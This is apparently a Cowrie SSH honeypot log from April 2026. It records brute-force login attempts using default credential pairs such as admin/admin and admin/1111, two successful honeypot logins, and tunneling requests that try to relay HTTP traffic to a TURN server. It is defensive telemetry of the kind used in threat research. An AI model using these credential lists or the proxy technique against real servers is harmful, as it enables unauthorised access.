{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57484,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a749c5f70a4","protocol":"ssh","message":"New connection: 159.203.92.129:57484 (159.203.135.109:22) [session: 0a749c5f70a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:13.107316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:13.134733Z","src_ip":"159.203.92.129","session":"0a749c5f70a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:13.139268Z","src_ip":"159.203.92.129","session":"0a749c5f70a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:13.213305Z","src_ip":"159.203.92.129","session":"0a749c5f70a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:14.220409Z","src_ip":"159.203.92.129","session":"0a749c5f70a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":57612,"dst_ip":"10.17.0.5","dst_port":22,"session":"8590fdd62ec8","protocol":"ssh","message":"New connection: 176.53.96.10:57612 (10.17.0.5:22) [session: 8590fdd62ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:21.287413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:21.350201Z","src_ip":"176.53.96.10","session":"8590fdd62ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:21.467101Z","src_ip":"176.53.96.10","session":"8590fdd62ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12","message":"login attempt [admin/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:22.007801Z","src_ip":"176.53.96.10","session":"8590fdd62ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:23.134656Z","src_ip":"176.53.96.10","session":"8590fdd62ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60626,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c823b7e0263","protocol":"ssh","message":"New connection: 159.203.92.129:60626 (159.203.135.109:22) [session: 1c823b7e0263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:53.849873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:53.855093Z","src_ip":"159.203.92.129","session":"1c823b7e0263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:53.860353Z","src_ip":"159.203.92.129","session":"1c823b7e0263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"11111","message":"login attempt [admin/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:53.872902Z","src_ip":"159.203.92.129","session":"1c823b7e0263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:47:54.903670Z","src_ip":"159.203.92.129","session":"1c823b7e0263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":58034,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b1f576d3cc6","protocol":"ssh","message":"New connection: 68.183.236.1:58034 (10.17.0.5:22) [session: 3b1f576d3cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:00.207240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:00.214443Z","src_ip":"68.183.236.1","session":"3b1f576d3cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:00.467902Z","src_ip":"68.183.236.1","session":"3b1f576d3cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"tsserver","message":"login attempt [teamspeak/tsserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:01.443766Z","src_ip":"68.183.236.1","session":"3b1f576d3cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:02.684906Z","src_ip":"68.183.236.1","session":"3b1f576d3cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":43966,"dst_ip":"10.17.0.5","dst_port":22,"session":"b42b19f86856","protocol":"ssh","message":"New connection: 45.148.10.121:43966 (10.17.0.5:22) [session: b42b19f86856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.145691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.150577Z","src_ip":"45.148.10.121","session":"b42b19f86856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.230893Z","src_ip":"45.148.10.121","session":"b42b19f86856","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.470227Z","src_ip":"45.148.10.121","session":"b42b19f86856","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.552579Z","session":"b42b19f86856","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.633624Z","src_ip":"45.148.10.121","session":"b42b19f86856","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.637213Z","src_ip":"45.148.10.121","session":"b42b19f86856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.720343Z","src_ip":"45.148.10.121","session":"b42b19f86856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":43970,"dst_ip":"10.17.0.5","dst_port":22,"session":"872daa3cf1bf","protocol":"ssh","message":"New connection: 45.148.10.121:43970 (10.17.0.5:22) [session: 872daa3cf1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.795334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.801023Z","src_ip":"45.148.10.121","session":"872daa3cf1bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:08.881312Z","src_ip":"45.148.10.121","session":"872daa3cf1bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:09.120746Z","src_ip":"45.148.10.121","session":"872daa3cf1bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:09.202391Z","session":"872daa3cf1bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:09.283767Z","src_ip":"45.148.10.121","session":"872daa3cf1bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:09.287199Z","src_ip":"45.148.10.121","session":"872daa3cf1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:09.370157Z","src_ip":"45.148.10.121","session":"872daa3cf1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42550,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcf16c8bc024","protocol":"ssh","message":"New connection: 159.203.92.129:42550 (159.203.135.109:22) [session: bcf16c8bc024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:35.516395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:35.521521Z","src_ip":"159.203.92.129","session":"bcf16c8bc024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:35.526098Z","src_ip":"159.203.92.129","session":"bcf16c8bc024","protocol":"ssh"}
